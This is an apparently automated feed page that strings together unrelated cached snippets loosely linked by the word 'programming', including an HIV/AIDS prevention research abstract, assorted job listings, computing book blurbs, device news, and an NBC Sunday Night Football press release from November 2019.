imageContext: Fifteen percent to 20% of the Canadian and American populations live outside urban areas, and despite growing regional HIV/AIDS–related health disparities, there is little published research specific to rural or remote (rural/remote) HIV/AIDS prevention programming. Objective: To document implementation challenges, lessons learned, and evaluation approaches of promising and proven HIV/AIDS prevention programs and interventions developed and delivered by organizations with rural/remote catchment areas in Canada to provide a foundation for information sharing among agencies. Design: Qualitative study design, using a community-based participatory research approach. We screened Canadian community-based organizations with an HIV/AIDS prevention mandate to determine whether they offered services for rural/remote populations and invited organizational representatives to participate in semistructured telephone interviews. Interviews were audio-recorded and transcribed. Content analysis was used to identify categories in the interview data. Setting: Canada, provinces (all except Prince Edward Island), and territories (all except Nunavut). Participants: Twenty-four community-based organizations. Results: Screening calls were completed with 74 organizations, of which 39 met study criteria. Twenty-four (62%) interviews were conducted. Populations most frequently served were Indigenous peoples (n = 13 organizations) and people who use drugs (n = 8 organizations) (categories not mutually exclusive). Key lessons learned included the importance of involving potential communities served in program development; prioritizing community allies/partnerships; building relationships; local relevancy and appropriateness; assessing community awareness or readiness; program flexibility/adaptability; and addressing stigma. Evaluation activities were varied and used for funder reporting and organizational learning. Conclusions: Rural/remote HIV/AIDS programs across Canada expressed similar challenges and lessons learned, suggesting that there is potential for knowledge exchange, and development of a community of practice. Top-down planning and evaluation models may fail to capture program achievements in rural/remote contexts. The long-term engagement practices that render rural/remote programs promising do not always conform to planning and implementation requirements of limited funding.
          

Field Service Technician - Abilene, TX (CCTV, Access Controls)

 Cache   
CA-Hayward, What you will do Under limited supervision, possesses complete technical competence on all fire/security systems and the ability to resolve or guide others through very complex problem resolution. Responsible for programming, commissioning, troubleshooting and preventive maintenance of fire / security systems per contract obligations. Provides detailed information to communicate design to customer
          

Appliance Servicer NOC 7332

 Cache   
BC-Dawson Creek, Appliance Servicer NOC 7332 Prepare written estimates of repair costs, Conduct voltage, resistance and other tests using electrical test equipment, Refer to schematic drawings or product manuals to repair parts, Diagnose faults, using testing devices, Repair electrical appliances and components, Replace faulty components, Use shop equipment and specialized diagnostic and programming apparatus to r
          

Handbook of Evolutionary Computation (Computational Intelligence Library)

 Cache   

Many scientists and engineers now use the paradigms of evolutionary computation (genetic algorithms, evolution strategies, evolutionary programming, genetic programming, classifier systems, and combinations or hybrids thereof) to tackle problems that are either intractable or unrealistically time consuming to solve through traditional computational strategies. Recently there have been vigorous initiatives to promote cross-fertilization between the EC paradigms, and also to combine these paradigms with other approaches such as neural networks to create hybrid systems with enhanced capabilities. To address the need for speedy dissemination of new ideas in these fields, and also to assist in cross-disciplinary communications and understanding, Oxford University Press and the Institute of Physics have joined forces to create a major reference publication devoted to EC fundamentals, models, algorithms and applications. This work is intended to become the standard reference resource for the evolutionary computation community. The Handbook of Evolutionary Computation will be available in loose-leaf print form, as well as in an electronic version that combines both CD-ROM and on-line (World Wide Web) access to its contents. Regularly published supplements will be available on a subscription basis. Read more...

          

Logic, Language and Computation: Festschrift in Honor of Satoru Takasu (Lecture Notes in Computer Science)

 Cache   

This volume contains 15 papers from research areas where Japanese theoretical computer science is particularly strong. Many are about logic, and its realization and applications to computer science others concern synthesis, transformation and implementation of programming languages, and complexity and coding theory. Not coincidentally, all the authors are either former students or close colleagues of Satoru Takasu, professor and director at the Research Institute of Mathematical Sciences at the University of Kyoto. The purpose of this volume is to celebrate Professor Takasu's influence on theoretical computer science in Japan and worldwide by his research, his philosophy, and his advising of students. The breadth, depth and quality of the papers are characteristic of his interests and activities. Read more...

          

Devices: Linux-Based Kiosk Tablets, Raspberry Pi, Hummingbird Robotics Kit and Huawei Kunpeng 920 (ARM)

 Cache   
  • Arbor M1016 10.1″ Medical-Grade Tablet Targets Infotainment & Kiosk Applications

    Arbor M1016 Healthcare & Kiosk Tablet Arbor offers various products in the embedded systems field, automotive IoT and healthcare infotainment, as well as patient interfaces for hospitals.

  • Make your own NFC data cufflinks - Raspberry Pi

    In this project, we’ll make a pair of NFC data cufflinks, ideal for storing a website URL, a password, or a secret message. This project is perfect for a sartorial spy who loves dry Martinis, and anyone who can’t remember their WiFi password.

  • Raspberry Pi 4 WiFi Fails When Setting HDMI to 2560×1440 Resolution

    Enrico Zini was working on a digital solution based on Raspberry Pi 4, then he set the video output to 2560×1440, and all hell broke loose.

  • 7 maker gifts for kids and teens

    What it is: The Hummingbird Robotics Kit is a complete robotics kit with a microcontroller, motors, LEDs, and sensors. The robot brain has special ports that little hands can easily attach robot components to. The Hummingbird kits don't come with a body, empowering users to create their own.

    Why I love it: The Hummingbird works with multiple programming languages—from visual (BirdBlox, MakeCode, Snap) to text (Python and Java)— making it scalable as users' coding skills increase. All the components are exactly as you'd find them at an electronics store, not obscured by plastic like other robot kits. This demystifies the inner workings of robots and makes it easy to source more parts if needed.

  • Huawei Kunpeng Desktop Board is Powered by Kunpeng 920 Armv8 Server Processor

    Huawei Kunpeng 920 is an Armv8 server SoC with up to 64 cores that can be found in the company’s TaiShan series servers.


          

TOM BRADY, DREW BREES, MATT RYAN & DESHAUN WATSON HIGHLIGHT THANKSGIVING WEEK NFL MATCHUPS ON NBC

 Cache   

Two Games Feature Three First-Place Teams

Falcons Host Saints in NFC South Showdown in Sunday Night Football “Thanksgiving Special;” Coverage Begins Thursday at 8 p.m. ET on NBC

Mike Tirico, Tony Dungy & Rodney Harrison Shift from Studio to Booth to Call Falcons-Saints

Zac Brown Band to Headline Thanksgiving Special Show Open

Brady and Patriots Visit Watson and Texans in Battle of AFC Division Leaders on NBC’s Sunday Night Football

Leading Up to Sunday’s Game, Fans Can Play NBC Sports’ New ”Sunday Night 7” Free-to-Play Game Featuring $2 Million in Guaranteed Cash Prizes

STAMFORD, Conn.Nov. 26, 2019 – NBC Sports’ Thanksgiving week NFL coverage begins this Thursday with a special primetime matchup in Atlanta, as Matt Ryan and the Falcons host Drew Brees and the NFC South-leading Saints at Mercedes-Benz Stadium, with coverage beginning at 8 p.m. ET on NBC. Coverage continues with Sunday Night Football on Dec. 1, as Tom Brady and the New England Patriots visit Deshaun Watson and the Texans at Houston’s NRG Stadium in a battle between two AFC division leaders. Coverage begins at 7 p.m. ET with Football Night in America, followed by SNF at 8:20 p.m. ET.

This week’s action, which features three first-place teams (Houston, New England, and New Orleans), ties the mark for the most combined wins (29) by the four teams competing on NBC in primetime during Thanksgiving week (NBC began airing the Thanksgiving night game in 2012).

The Saints (9-2) enter Week 13 in first place in the NFC South following a 34-31 win over Carolina. Brees passed for 311 yards and three touchdowns, while kicker Wil Lutz converted the game-winning, 33-yard field goal as time expired. Saints WR Michael Thomas, who had 10 receptions for 101 yards and a touchdown last week, leads the league in receptions (104) and receiving yards (1,242) this season, and is on pace to surpass Hall of Famer Marvin Harrison (143 in 2002) for the most catches in a single season in NFL history.

Atlanta (3-8) has won two of its past three games, including a 26-9 victory over the Saints in New Orleans on Nov. 10, highlighted by two Matt Ryan touchdown passes and 2.5 sacks from DT Grady Jarrett. Ryan has 49,654 career passing yards and earlier this season, surpassed Hall of Famer Warren Moon (49,325) for the 10th-most passing yards in NFL history.

On Thanksgiving night, Mike Tirico (play-by-play), Tony Dungy (analyst) and Rodney Harrison (analyst) will shift from the Football Night in America studio into the broadcast booth to call Falcons-Saints. Three-time Emmy Award-winning reporter Michele Tafoya will report from the sidelines in Atlanta, and will award the traditional postgame turkey legs and game balls. Three-time Super Bowl referee and SNF rules analyst Terry McAulay joins Tirico, Dungy and Harrison in the booth.

Atlanta-based multi-platinum, Grammy Award-winning Zac Brown Band will headline NBC Sports’ show open for the Sunday Night Football “Thanksgiving Special.” Gathered in Atlanta around a Thanksgiving table with all the trimmings, the special show open begins with Zac Brown receiving a text from Carrie Underwood, the star of NBC’s Sunday Night Football show open, who has the holiday off.

Brady and the Patriots moved to 10-1 with last week’s 13-9 victory over Dallas and are tied with the San Francisco 49ers for the best record in the NFL. Brady has 60 career wins in the month of December, the most in NFL history. New England’s defense is off to a historic start through 11 games, leading the league in points allowed per game (10.6) and turnover differential (+19), while ranking second in total yards allowed per game (248.0). The Patriots, who have allowed nine touchdowns this season, could approach the record for fewest defensive touchdowns allowed in a 16-game season. The mark is held by the 1985 Chicago Bears and 2000 Baltimore Ravens, who allowed 16 touchdowns each, and both went on to win the Super Bowl.

The Texans (7-4) defeated division-rival Indianapolis, 20-17, last week to take a one-game lead in the AFC South. Watson is one of three quarterbacks in the NFL this season with 2,850+ passing yards (2,899) and a 100+ passer rating (103.4), while WR DeAndre Hopkins ranks second in the league with 81 receptions.

Calling Packers-49ers is Al Michaels (play-by-play), in his record 34th season as the voice of the NFL’s premier primetime package; 16-time Emmy Award-winner Cris Collinsworth; and Tafoya. SNF rules analyst McAulay joins Michaels and Collinsworth in the booth.

Tirico will host Football Night in America alongside Dungy, Harrison, NFL Insider Mike Florio and former NFL quarterback Chris Simms. Liam McHugh will co-host Football Night in America on-site from NRG Stadium.

NBC’s coverage of Sunday Night Football is led by executive producer Fred Gaudelli and director Drew Esocoff. FNIA begins every Sunday at 7 p.m. ET, and is produced by Rob Hyland and directed by Mike Sheehan.

SUNDAY NIGHT FOOTBALL AVERAGING A TOTAL AUDIENCE DELIVERY OF 20.6 MILLION VIEWERS – THE HIGHEST 12-WEEK AVERAGE FOR THE SERIES SINCE 2015

San Francisco’s 37-8 victory over the Green Bay Packers on Sunday night – despite the biggest Week 12 NBC Sunday Night blowout ever and largest SNF halftime differential (23 points) in over three years – averaged a Total Audience Delivery (TAD) of 21.3 million viewers, ranking as the best SNF Week 12 viewership since 2015 (Denver-New England).

Through 12 weeks (13 games), NBC’s SNF is averaging a Total Audience Delivery of 20.6 million viewers – the highest 12-week average for the series since 2015, and up 4% from the same point last season.

NBC SPORTS’ “SUNDAY NIGHT 7” FREE-TO-PLAY GAME FEATURES $2 MILLION GUARANTEED PRIZES

Leading up to this week’s Sunday Night Football game, fans can participate in NBC Sports’ new free-to-play game, Sunday Night 7, which features $2 million in guaranteed cash prizes over the course of the regular season and NBC NFL playoff games ($100,000 in guaranteed prizes for each contest). Sunday Night 7 is available for download NOW on the NBC Sports Predictor app (available for download in the App Store and Google Play Store) and at NBCSports.com/Predictor.

Last week, one fan scored 65 out of a possible 70 points in Sunday Night 7, winning the grand prize of $50,000.

NBCSPORTS.COM & NBC SPORTS APP TO LIVE STREAM ALL NBC NFL GAMES:

NBCSports.com and the NBC Sports app will stream all NBC NFL games to desktops, tablets, mobile devices and connected TVs via “TV Everywhere,” giving consumers additional value to their subscription service, and making high-quality content available to MVPD customers both in and out of the home and on multiple platforms. The full HD-quality video stream will come directly from NBC’s broadcasts. Powered by Playmaker Media, the NBC Sports app is available on Apple iOS, Android and select Samsung devices, as well as on Amazon Fire, Apple TV, Chromecast, Roku, Win10, PlayStation and Xbox.

PETER KING’S NFL COLUMN “FOOTBALL MORNING IN AMERICA” DEBUTS EVERY MONDAY EXCLUSIVELY ON NBCSPORTS.COM

A new “Football Morning in America” will post every Monday morning exclusively on NBCSports.com. King signed an exclusive agreement with NBC Sports Group last year that included writing a weekly Monday morning NFL column for NBCSports.com, making regular appearances on NBCSN’s and NBC Sports Radio’s PFT Live with Florio, and continuing to contribute to Football Night in America, the most-watched studio show in sports.

CHRIS SIMMS UNBUTTONED

NBC Sports’ Chris Simms examines everything happening in the NFL and around the sports world. Along with a rotation of NBC Sports hosts including Ahmed Fareed, Paul Burmeister and Liam McHugh, Chris Simms Unbuttoned analyses the NFL with in-depth Xs and Os breakdowns; one-on-one interviews with players, coaches and executives; and game recaps and preview.

ROTOWORLD

Rotoworld offers comprehensive fantasy football coverage throughout the 2019 NFL season across NBC Sports’ platforms. The all-new 2019 Rotoworld Fantasy Football Draft Guide, which includes mobile optimization, an updated website design, and improved tools, is now available for purchase on Rotoworld.com. In addition, Rotoworld experts dive into fan questions on “Rotoworld Live” every Sunday at Noon ET on the NBC Sports app and YouTube.com/NBCSports. Rotoworld also presents comprehensive fantasy content, including a panel of experts answering fans’ questions on Twitch three times a week, a Waiver Wire Q&A (Tuesdays), a DFS Q&A (Thursdays), and a Rankings Q&A (Fridays).

PFT LIVE – WEEKDAYS AT 7 A.M. ET ON NBCSN

Mike Florio and co-host Chris Simms bring fans the latest NFL news and interviews with players and coaches every weekday morning with PFT Live on NBCSN at 7 a.m. ET. Peter King will also contribute regularly to PFT Live’s coverage throughout the regular season.

The two-hour PFT Live provides all-encompassing coverage of the NFL, including the most current news and analysis, thought-provoking debates, and interviews with a wide variety of NFL newsmakers. The program is a simulcast of NBC Sports Radio’s PFT Live national program that airs daily beginning at 6 a.m. ET.

PODCASTS

NBC Sports’ football podcasts provide extensive weekly offerings from NBC Sports’ most popular personalities and present special guests, exclusive interviews, and robust conversations across all of football on The Peter King Podcast, Chris Simms Unbuttoned, PFT PM, and Rotoworld Football. While The Peter King Podcast features intimate discussions with the NFL’s top players, Chris Simms Unbuttoned and PFT PM dive into deep conversations around the sports’ hottest topics, and Rotoworld Football explores fantasy implications for fans. For the first time this season, Rotoworld Football will debut four episodes per week, including a new Sunday night episode diving into the weekend’s results. In addition, The Mike Tirico Podcast will debut new episodes throughout the 2019 NFL season featuring exclusive interviews with the league’s top players and personalities. New episodes of NBC Sports podcasts are available for download each week on all major podcast platforms including: NBCSports.com/podcasts, NBC Sports’ Scores app, Apple, Stitcher, Spotify, Google Podcasts, TuneIn and iHeart.

SUNDAY NIGHT FOOTBALL SOCIAL MEDIA

    • SNF ON INSTAGRAM: Going into its seventh season, Sunday Night Football gives the SNF fan a look at photos through the filters of Instagram. Fans get a look around each SNF city, as well as access inside the production trucks, the locker rooms, on the field, and on the sideline, as our social media producer captures the best photos of Sunday night and posts in real time. In addition, SNF on Instagram will utilize Instagram stories to maximize fans’ exposure to the Sunday Night Football
    • SNF ON TWITTER: Using tweets, photos, and videos, @SNFonNBC provides unique content with SNF talent, production crew and NFL players.
    • SNF ON SNAPCHAT: For the second season, NBC Sports’ Snapchat account will be creating content on the platform at each Sunday Night Football game, including Kickoff and from the SNF The NBC Sports Snapchat account will take fans behind the scenes to the FNIA set and around cities where Sunday Night Football comes to town, utilizing lenses and filters to customize content specifically for the Snapchat audience.
    • SNF ON FACEBOOK: – At nearly 3.7 million likes strong, the Sunday Night Football Facebook page provides social-first stories, photos and video every week.

NBC SPORTS RADIO

NBC Sports Radio, produced and distributed by Westwood One in partnership with NBC Sports Group, is carried by more than 300 affiliates nationwide. Programming is available on radio stations throughout the United States, as well as on NBCSportsRadio.com, NBCSports.com, the NBC Sports Scores app, and on the websites of affiliates. Content includes hourly sports news updates, daily features, and is highlighted by PFT Live, featuring NFL insider and Football Night In America commentator Mike Florio daily from 6-9 a.m. ET; the PFT PM podcast hosted by Florio, which takes a look back at the day that was in the NFL; Safety Blitz with Rodney Harrison and Dan Schwartzman; featuring three-time All Pro and two-time Super Bowl-winner Rodney Harrison; and The Daily Line, NBC Sports Radio’s daily sports talk and betting show that airs M-F 3-7 p.m. ET and features special guests and content for casual and avid sports fans. Fans can follow @NBCSportsRadio to listen live or on demand, or visit www.NBCSportsRadio.com.

SUNDAY NIGHT FOOTBALL BUS RETURNS FOR 2019 NFL SEASON

NBC Sports’ Sunday Night Football bus returns this season to travel the country, visiting the host cities of each Sunday Night Football game. In addition, the SNF Bus will also visit markets along the route without an SNF game on the schedule to give more fans a chance to join in on the experience. The bus will arrive in each host city two to three days prior to the game, making stops at local landmarks and events before heading to the game site. Once at the stadium, the Sunday Night Football bus will give fans the opportunity to interact with America’s most-watched primetime television show with exclusive activities and experiences.

For the first time ever, fans will be able to record content on the bus to share directly to their social platforms, with new experiences including augmented reality mirrors in the locker room and a green screen booth to replicate the iconic player intros in the SNF broadcast.

In addition, fan favorites returning to the bus include the official Player of the Game Ball signed at the end of every SNF matchup, a replica Football Night in America desk, and a brand new On Her Turf photo experience celebrating the power of every football fan.

2019 NBC SUNDAY NIGHT FOOTBALL SCHEDULE
**Thurs. Nov. 28Week 13New Orleans Saints at Atlanta Falcons
*Sun. Dec. 1Week 13New England Patriots at Houston Texans
*Sun. Dec. 8Week 14Seattle Seahawks at Los Angeles Rams
*Sun. Dec. 15Week 15Minnesota Vikings at Los Angeles Chargers
*Sun. Dec. 22Week 16Kansas City Chiefs at Chicago Bears
*Sun. Dec. 29Week 17TBD

*Flex Week

** Thanksgiving Night Game

FLEXIBLE SCHEDULING: Flexible scheduling will be used in Weeks 11-17. Additionally, in Weeks 5-10, flexible scheduling may be used in no more than two weeks. In Weeks 5-16, the schedule lists the games tentatively set for Sunday Night Football on NBC. Only Sunday afternoon games are eligible to be moved to Sunday night, in which case the tentatively scheduled Sunday night game would be moved to an afternoon start time. Flexible scheduling will not be applied to games airing on Thursday or Monday nights.

A flexible scheduling move would be announced at least 12 days before the game. For Week 17, the Sunday night game will be announced no later than six days prior to December 29. The schedule does not list a Sunday night game in Week 17, but an afternoon game with playoff implications will be moved to that time slot. Flexible scheduling ensures quality matchups in all Sunday time slots in those weeks, and gives “surprise” teams a chance to play their way into prime time.

SUNDAY NIGHT FOOTBALL


          

Reprogramming Your Mind For Joy, Success and Abundance… You Really Can Do It

 Cache   

Anarchast 495 Jeff Berwick interviews Regan Hillyer and Juanpa Barahona Topics include: creating the life you love, freedom businesses, thriving in life, success comes from the inside out, are you being honest with ourselves, getting real, getting out of survival mode, co-creating together, the laws of manifestation, bliss and abundance, money is energy, overcoming past [...]

The post Reprogramming Your Mind For Joy, Success and Abundance… You Really Can Do It appeared first on Anarchast.


          

Communication Is Key To Improving Yourself and Making The World A Better Place

 Cache   

Anarchast Ep.494 Topics include: government interference in daily life, Candles in the Dark seminars online, what is Candles in the Dark, The Mirror project, the art of delegation, understanding the psychology of statism, effective communication, Anarchapulco is the birthplace of Candles in the Dark, future developments, arming the truth tellers, a process of deprogramming, the [...]

The post Communication Is Key To Improving Yourself and Making The World A Better Place appeared first on Anarchast.


          

Pocitacova literatura (Java Servlets, HTML5, JS, Android) - 15

 Cache   
Predam nasledovnu pocitacovu literaturu: - Apress - The Definitive Guide to HTML5 - 30 EUR - O'Reilly - Java Servlet Programming (2nd Edition) - 20 EUR - O'Reilly - JavaScript - The Definitive Guide (6th Edition) - 30 EUR - O'Reilly - JavaScrip ...
          

The Course for the Basics of kotlin programming language

 Cache   

learn the Basics of Kotlin Language and after finishing this course you will be able to build apps by Android studio. What you’ll learn in the Basics of kotlin The basics of kotlin language that will make him use Android studio to build mobile apps easily Use IntelliJ IDEA to write code effectively and professionally […]

The post The Course for the Basics of kotlin programming language appeared first on SaveItSafer.


          

Learn Android Studio & Java from scratch. The Master Course

 Cache   

Learn Android Studio & Java from scratch and MONETIZE your App. What you’ll learn Java & Android Studio programming Description In this course, you will learn how to create android applications using Java. Besides, you will learn how to upload your apps to google play and monetize your applications not just your paid apps. But, […]

The post Learn Android Studio & Java from scratch. The Master Course appeared first on SaveItSafer.


          

PuSh International Performing Arts Festival unveils programming for 2020 event

 Cache   
Lineup includes major premieres by local companies like Electric Theatre Company, Wen Wei Dance, and Savage Society, and work from as far away as South Korea, Norway, and Australia
          

.NET Developer

 Cache   
  • Job Title: Senior .Net Developer
  • Status: Direct Hire
  • Remote: No
  • Salary: Dependent upon experience

Do you have a background in .Net development?  Are you an independent worker with a go getter attitude?  Are you looking to gain exposure to cloud computing environments?  We have a great opportunity for a full time Senior .Net Developer in the central NJ area. The company is experiencing tremendous growth and there are opportunities for career advancement available.

In this role, you will be responsible for designing, developing and deploying multi-tiered windows applications in Microsoft .NET. There will be exposure with backend windows system services, database development/integration and SOA architecture design.

Key responsibilities:
  • Experience writing stored procedures in SQL
  • Prior exposure to work within a production environment handling and escalating issues as appropriate
  • .Net  distributed application development
  • .Net  framework, Entity Framework, LINQ, MSMQ messaging/ESB, IoC and Unit testing
  • Design and develop SQL Server tables, stored procedures, functions, views, and triggers in support of application design
  • Exposure to  ASP.NET development frameworks, controls and components within .Net
  • Mentor more Jr. folks on the team
  • Configuration and maintenance
  • SOA Architecture and Design Experience 

Professional experience:
  • Experience coaching/mentoring more Junior team members within development.
  • 3+ years of experience designing and executing data driven applications.
  • 5-7 years of experience programming windows applications in .NET using C#.
  • 7 years of experience working with MS SQL Server 2008 and above designing SQL database as part of application design.
  • Minimum 5 years of experience with logging, tracing and code quality tools. Including Dynatrace and Automic.
  • Exposure to  the following technologies; C#, LINQ, Entity Framework, ESB Architecture/Frameworks, IoC Frameworks, OO and SOA.
  • Minimum 5 years of experience with static and dynamic code security tools and processes.
  • Experience in working with Agile Teams and working knowledge of DevOps.
  • Solid understanding of programming SQL objects (procedures, triggers, views, functions).

Education:
  • B.S. Computer Science or other similar degree.

We are looking for a .Net Developer that is able to work independently as well as in a team environment.  In this role, you should have good attention to detail with strong analytical skills.  Excellent company benefits available along with a strong bonus.  If you or someone you know is a fit for this opportunity, please contact Talon today!  We offer referral bonuses.

          

Field Service Technician - Abilene, TX (CCTV, Access Controls)

 Cache   
CA-Hayward, What you will do Under limited supervision, possesses complete technical competence on all fire/security systems and the ability to resolve or guide others through very complex problem resolution. Responsible for programming, commissioning, troubleshooting and preventive maintenance of fire / security systems per contract obligations. Provides detailed information to communicate design to customer
          

Arduino projects - The Ultimate Beginner's Guide to Learn DIY Arduino Programming

 Cache   
none
          

Other: Sable Administrator - Miami, Florida

 Cache   
Job ID: 2019-3104# of Openings: 1Category: Ground OperationsCity: MiamiState: FLCompany: Atlas Air, IncOverviewThis position is responsible for the administration, development, and management functions of the Sable Electronic Weight and Balance system (Cargo and Passenger aircraft).ResponsibilitiesManage day-to day operational activities of the Sable system.Revise Basic Operational Weight (BOW) information after aircraft re-weigh.Responsible for regular maintenance of the system including closing of open flights, adding stations, route development, and ensuring middleware is feeding "Hawk" correctly. Diagnose and troubleshoot items from user problems to system issues. Develop and update Sable training modules (i.e. initial and recurrent), as appropriate, using the Pelesys training system.Provide training and directing others in the use of the Sable application. Interface and ensure a close working relationship with other Company departments (i.e. IT, Flight Operations, QA/QC, Safety, etc.) for Sable related items.Support Ground Operations Audit and Compliance group in the ground handling vendors' Sable system requirements.Make recommendations about improving the Sable system functions to Ground Operations Senior Management.Perform other assigned duties, such as, but not limited to working and supporting the Pelesys training system. QualificationsPossess an excellent working knowledge of the Sable Electronic Weight and Balance system.Serve as the lead training resource for Ground Operations Instructors who teach the Sable system.Company B747 and B767 passenger and cargo aircraft weight and balance certified and qualified.Excellent written and oral communication skills required.Ability to work effectively with others in a team work environment.Strong prioritization and multi-tasking skills. Ability to travel domestically and internationally, as required, to support station operations and other special projects. Intermediate to advanced computer skills including MS Outlook, Excel, Word and other specialized applications related to computer diagnosis and programming.The Company is an Equal Opportunity Employer. It is our policy to afford equal employment opportunity to all employees and applicants for employment without regard to race, color, religion, sex, sexual orientation, national origin, citizenship, place of birth, age, disability, protected veteran status, gender identity or any other characteristic or status protected by applicable in accordance with federal, state and local laws.If you'd like more information about your EEO rights as an applicant under the law, please download the available EEO is the Law document at view our Pay Transparency Statement, please click here: Pay Transparency StatementPI115650098Pandologic. , Location: Miami, FL - 33122 ()
          

IT / Software / Systems: Computer Vision, Software Dev/Test Engineer for 3D Augmented Applications in Plantation, FL - Miami, Florida

 Cache   
Senior Software Developer in Test for system test development and validation of our Spatial Computing -system that provides a realistic 3D augmented environment on top of the real world. Position will focus on the test development, execution and requirements validation of our Computer Vision algorithms and components, and their functionality with in our product - Responsibilities Work with the development, program management, and test teams to define, develop, and execute white box tests at the API level and back box tests and system level that will allow us to perform functional and nonfunctional validation of the sensors, algorithms, services, and components that make up our computer vision deliverables Execute subjective testing in different environments and scenarios to verify computer vision improvements with jitter, judder, swim, mapping and tracking Define or develop test utilities to accomplish the assigned testing Includes being able exercise and further expand the capabilities of in house tools based on Unity Analyze various components, collaborate with various development teams, and use your technical expertise to investigate, troubleshoot and verify software defects and other technical issues Experience with being able to analyze logs to help root cause the issue or -determine the component(s) causing it Review integrated code change to isolate which one might be causing a failure within a release Provide technical recommendations towards solution that supports Continuous Integration, Continuous Delivery, and Agile practices - Must have Skillsets: 8+ years of software development experience working on embedded products or mobile applications with a minimum of 5 of those years having an emphasis on computer vision testing C/C++ programming and Unix Shell Scripting Knowledge on jitter, judder, swim, and how to recognize them is desired Experience with Mapping and tracking algorithms; Camera optics, Image sensor technology; Image filtering techniques; Image analysis and segmentation; IMUs is preferred Knowledgeable on Linux OS, middleware, kernel, and device drivers - Location: Plantation, FL Duration: 6-12+ months. ()
          

NBCUniversal, Inc.: Sr Manager, Performance Marketing, Peacock, Direct-to-Consumer

 Cache   
competitive: NBCUniversal, Inc.: Introducing Peacock, NBCUniversal’s new streaming service that combines timeless shows and movies, exclusive originals, kids programming and curre Universal City, California
          

NBCUniversal, Inc.: Sr. Manager, Marketing Partnerships, Peacock, Direct-to-Consumer (NY)

 Cache   
competitive: NBCUniversal, Inc.: Introducing Peacock, NBCUniversal’s new streaming service that combines timeless shows and movies, exclusive originals, kids programming and curre New York, New York
          

NBCUniversal, Inc.: Sr. Producer/Writer/Editor-Creative Marketing, Peacock

 Cache   
competitive: NBCUniversal, Inc.: Introducing Peacock, NBCUniversal’s new streaming service that combines timeless shows and movies, exclusive originals, kids programming and curre New York, New York
          

Linux for Beginners: The Science of Linux Operating System and Programming Tools for Installation, Configuration and Command Line

 Cache   
Название: Linux for Beginners: The Science of Linux Operating System and Programming Tools for Installation, Configuration and Command Line with a Basic Guide on Networking, Cybersecurity, and Ethical Hacking
Автор: Darwin Growth
Издательство: Amazon Digital Services LLC
Год: 2019
Формат: epub/azw3/pdf(conv.)
Страниц: 158
Размер: 10.6 Mb
Язык: English

Linux is a free and freely distributed operating system inspired by the UNIX system, written by Linus Torvalds with the help of thousands of programmers. UNIX is an operating system developed in 1991, one of whose greatest advantages is that it is easily portable to different types of computers, so there are UNIX versions for almost all types of computers, from PC and Mac to workstations and supercomputers.
Unlike other operating systems, such as MacOS (Apple operating system), UNIX is not intended to be easy to use, but to be extremely flexible. It is generally as easy to use as other operating systems, although great efforts are being made to facilitate its use.
          

Hospitality & Tourism: Cook - The Westin Dallas Downtown - (19137112) - Grand Prairie, Texas

 Cache   
Here's To Your Journey with Westin At Westin, we are committed to empowering the well-being of our guests by providing a refreshing environment, thoughtful amenities, and revitalizing programming to help ensure that they leave feeling better than when they arrived. We recognize that travel can be disruptive to our guests well-being, and were energized to assist as partners in helping them maintain control and soaring above it all while on the road. Everything we do is designed to help guests be at their best, and they appreciate our supportive attitude, anticipatory service and extensive knowledge on how to best assist them throughout their stay. We are looking for dynamic people who are excited to join the team and ready to jump into any situation to give a helping hand. If youre someone who has is positive, adaptable and intuitive, and has a genuine interest in the well-being of others around you, we invite you to discover how at Westin, together we can rise. The Westin Dallas Downtown, located at 1201 Main St, Dallas, Texas, 75202 is currently hiring a Cook. Responsibilities include: Connect your passions with a rewarding opportunity Others may call you a foodie, but you know youre much more than that. You want to learn all the tricks of the trade and be the master of the kitchen. When you join us, youll find that there are no limits on your creativity or your potential. We inspire you to grow and challenge yourself because when you are pursuing excellence, youre helping us to provide exceptional travel experiences. Rewards for work, benefits for your lifestyle Youll be supported in and out of the workplace through: Discounts on hotel rooms, gift shop items, food and beverage Learning and development opportunities Recognition programs Wellbeing programs Encouraging management Team-spirited colleagues The impact youll make You hold yourself to a higher culinary standard and it is your attention to each preparation that keeps guests with us to dine. Working with a dedicated team of experts, you will learn something different every day as you work with new seasonal menus and unique presentations. You hard work pays off when a dish that youve thoughtfully helped to prepare has guests raving and anxious to return. What youll be doing Prepare fresh ingredients for cooking according to recipes/menu Cook food and prepare top-quality menu items in a timely manner Test foods to ensure proper preparation and temperature Operate kitchen equipment safely and responsibly Ensure the proper sanitation and cleanliness of surfaces and storage containers What were looking for Great teamwork skills and attention to detail Positive outlook and outgoing personality Previous kitchen experience is a big plus This role requires the ability to move and lift up to 25 lbs. Standing, sitting or walking for extended periods of time and ensuring a professional appearance in a clean uniform are also required. Prior to employment, well ask you to complete safety training and certification. Explore our very big world When you bring your natural talents and passion for food, we welcome you into our family. No matter your specialty or culinary background, we offer great rewards and opportunities to improve your skills. You will work closely with a team of inspired professionals who encourage and invite your contributions. To apply now, go to: https://jobs.marriott.com/marriott/jobs/19137112?%3Flang=en-us/ Marriott International is consistently recognized as an employer of choice globally by FORTUNE magazine, DiversityInc and Great Places to Work Institute, among others. Visit www.marriott.com/careers to learn more about our workplace culture and career opportunities. Chat, engage and follow us on social media. www.facebook.com/marriottjobsandcareers http://www.instagram.com/marriottcareers @lifeatmarriott on Snapchat So, we ask, where will your journey take you? - Marriott International is an equal opportunity employer committed to hiring a diverse workforce and sustaining an inclusive culture. Marriott International does not discriminate on the basis of disability, veteran status or any other basis protected under federal, state or local laws. ()
          

Hospitality & Tourism: Host/Hostess - Restaurant PART-TIME - The Westin Irving Convention Center at Las Colinas - (19149069 - Dallas, Texas

 Cache   
Here's To Your Journey with Westin At Westin, we are committed to empowering the well-being of our guests by providing a refreshing environment, thoughtful amenities, and revitalizing programming to help ensure that they leave feeling better than when they arrived. We recognize that travel can be disruptive to our guests well-being, and were energized to assist as partners in helping them maintain control and soaring above it all while on the road. Everything we do is designed to help guests be at their best, and they appreciate our supportive attitude, anticipatory service and extensive knowledge on how to best assist them throughout their stay. We are looking for dynamic people who are excited to join the team and ready to jump into any situation to give a helping hand. If youre someone who has is positive, adaptable and intuitive, and has a genuine interest in the well-being of others around you, we invite you to discover how at Westin, together we can rise. The Westin Irving Convention Center at Las Colinas, located at 400 West Las Colinas Boulevard, Irving, Texas, 75039 is currently hiring a Host/Hostess - Restaurant PART-TIME. Responsibilities include: Greet guests and determine the number in their party. Seat guests by finding a clean, available table; pulling out chairs; placing clean/current menu in front of guest, etc. Guide guests through the dining rooms and provide any needed assistance. Move and arrange tables, chairs, and settings and organize seating for groups with special needs. Ensure place settings are appropriate and each guest has a 